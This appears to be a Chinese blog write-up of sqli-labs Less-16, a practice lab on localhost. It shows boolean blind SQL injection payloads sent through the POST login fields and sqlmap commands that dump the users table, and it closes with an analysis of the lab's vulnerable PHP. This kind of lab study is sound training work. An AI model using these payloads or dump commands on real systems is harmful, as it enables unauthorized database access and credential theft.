sql-labs靶场第十六关测试报告

目录

一、测试环境

1、系统环境

2、使用工具/软件

二、测试目的

三、操作过程

1、寻找注入点

2、注入数据库

①寻找注入方法

②爆库,查看数据库名称

③爆表,查看security库的所有表

④爆列,查看users表的所有列

⑤成功获取用户名和密码信息

3、sqlmap注入方法

①爆库

②爆表

③爆列

④爆字段

四、源代码分析

五、结论


一、测试环境

1、系统环境

渗透机:本机(127.0.0.1)

靶 机:本机(127.0.0.1)

2、使用工具/软件

火狐浏览器的hackbar插件,版本:2.3.1;

Burp suite,版本:2024.7.2;

测试网址:http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-16/

二、测试目的

测试post型的sql注入,使用盲注注入出账户密码;使用sqlmap爆破,熟悉sqlmap的参数。

三、操作过程

1、寻找注入点

尝试提交数据,发现url中没有参数,猜测是post型传参

抓个包看看,是post类型传参,两个注入点:username和password

2、注入数据库

①寻找注入方法

知道传递数据方式后,直接使用hackbar传递post型参数即可,格式抓包可以知道

uname=12&passwd=12&submit=Submit

执行,可以传递数据

加引号或者双引号,都没有任何信息

uname=12'&passwd=12&submit=Submit

uname=12"&passwd=12&submit=Submit

测试闭合方式

经过不断尝试得到闭合符号为 ") 时,页面成功登录

uname=12") or 1=1#&passwd=12&submit=Submit

没有回显结果,能使用盲注

uname=12") or 1=2#&passwd=12&submit=Submit

结果正常显示failed

②爆库,查看数据库名称

爆出当前数据库的长度

uname=12") or (length(database()))=8#&passwd=12&submit=Submit

获取数据库名,第一个字母的ascii码值

( 因为要比较ASCII 码值,速度很慢,所以手工注入只做个演示)

uname=12") or ascii(substr(database(),1,1))=115#&passwd=12&submit=Submit

第一个字母的ASCII码值为115即s ,其他字母以此类推,更改substr函数的第二个参数(起始位置),获取第二个字母......第三个......

③爆表,查看security库的所有表

爆表同理,获取表中第一行第一个字母,寻找ASCII码值

uname=12 ") or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101#&passwd=12&submit=Submit

④爆列,查看users表的所有列

同理,找ASCII码值

uname=12 ") or (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)))=117#&passwd=das&submit=Submit

⑤成功获取用户名和密码信息

爆字段值,查看username和password字段的所有信息

username字段

uname=12") or ascii(substr((select username from users limit 0,1),1,1))=68#&passwd=das&submit=Submit

password字段

uname=12") or ascii(substr((select password from users limit 0,1),1,1))=68#&passwd=das&submit=Submit

3、sqlmap注入方法

①爆库

这关是post传参,sqlmap爆破需要抓包将数据包保存,再进行爆破

Sqlmap稳定发挥,yyds

Burp右键选择copy to file保存

bash 复制代码
python sqlmap.py -r C:\Users\lenovo\Desktop\1.txt --dbs

使用python程序

-r 指定抓到的数据包文件

--dbs 是爆库的参数

②爆表

bash 复制代码
python sqlmap.py -r C:\Users\lenovo\Desktop\1.txt -D security --tables 

-D 指定数据库,在这个数据库里找数据表

--tables 爆表的参数

③爆列

bash 复制代码
python sqlmap.py -r C:\Users\lenovo\Desktop\1.txt -D security -T users --columns

-D 指定数据库

-T 指定数据表

--columns 爆破列名的参数

④爆字段

bash 复制代码
python sqlmap.py -r C:\Users\lenovo\Desktop\1.txt -D security -T users -C username,password --dump

-D 指定数据库

-T 指定数据表

-C 指定需要爆破的列名

--dump 爆破字段值的参数

四、源代码分析

php 复制代码
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);

// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
    $uname=$_POST['uname'];
    $passwd=$_POST['passwd'];

    //logging the connection parameters to a file for analysis.
    $fp=fopen('result.txt','a');
    fwrite($fp,'User Name:'.$uname."\n");
    fwrite($fp,'Password:'.$passwd."\n");
    fclose($fp);

    // connectivity
    $uname='"'.$uname.'"';
    $passwd='"'.$passwd.'"'; 
    @$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);

    if($row)
    {
        //echo '<font color= "#0000ff">';   
        
        echo "<br>";
        echo '<font color= "#FFFF00" font size = 4>';
        //echo " You Have successfully logged in " ;
        echo '<font size="3" color="#0000ff">'; 
        echo "<br>";
        //echo 'Your Login name:'. $row['username'];
        echo "<br>";
        //echo 'Your Password:' .$row['password'];
        echo "<br>";
        echo "</font>";
        echo "<br>";
        echo "<br>";
        echo '<img src="../images/flag.jpg"  />';   
        
        echo "</font>";
    }
    else  
    {
        echo '<font color= "#0000ff" font size="3">';
        echo "</br>";
        echo "</br>";
        //echo "Try again looser";
        //print_r(mysql_error());
        echo "</br>";
        echo "</br>";
        echo "</br>";
        echo '<img src="../images/slap.jpg"  />';   
        echo "</font>";  
    }
}

?>

1.error_reporting(0);函数,关闭了php代码的所有错误报告。

2.检测了用户名和密码是否设置,给变量加了双引号,sql语句中给变量加了括号。

3.这关将执行失败的报错信息也注释掉了,结果不会有显示。不过因为直接调用的变量,存在万能密码漏洞,这样登录成功和失败的结果会不同,可以使用盲注。

4.Sql语句只取一行,注入时会把注释掉。

五、结论

寻找注入点的步骤十分重要,找到注入点和闭合符号之后的测试就顺理成章了。

Post类型sql注入,注入方式要完整提交post参数,其他步骤与get类型一致。

寻找闭合符号要有耐心,需要不断地尝试。

用sqlmap的话,只需要指定抓到的数据包即可。

这关使用盲注得到结果,根据true和false的信息,判断数据库信息。

相关推荐
ruleslol11 小时前
MySQL的段、区、页、行 详解
数据库·mysql
Learn-Python11 小时前
MongoDB-only方法
python·sql
while(1){yan}11 小时前
MyBatis Generator
数据库·spring boot·java-ee·mybatis
扑火的小飞蛾12 小时前
网络安全小白学习路线图 (基于提供文档库)
学习·安全·web安全
それども12 小时前
MySQL affectedRows 计算逻辑
数据库·mysql
是小章啊12 小时前
MySQL 之SQL 执行规则及索引详解
数据库·sql·mysql
计算机程序设计小李同学12 小时前
个人数据管理系统
java·vue.js·spring boot·后端·web安全
富士康质检员张全蛋12 小时前
JDBC 连接池
数据库
yangminlei12 小时前
集成Camunda到Spring Boot项目
数据库·oracle
ChineHe13 小时前
Redis数据类型篇002_详解Strings核心命令与存储结构
数据库·redis·缓存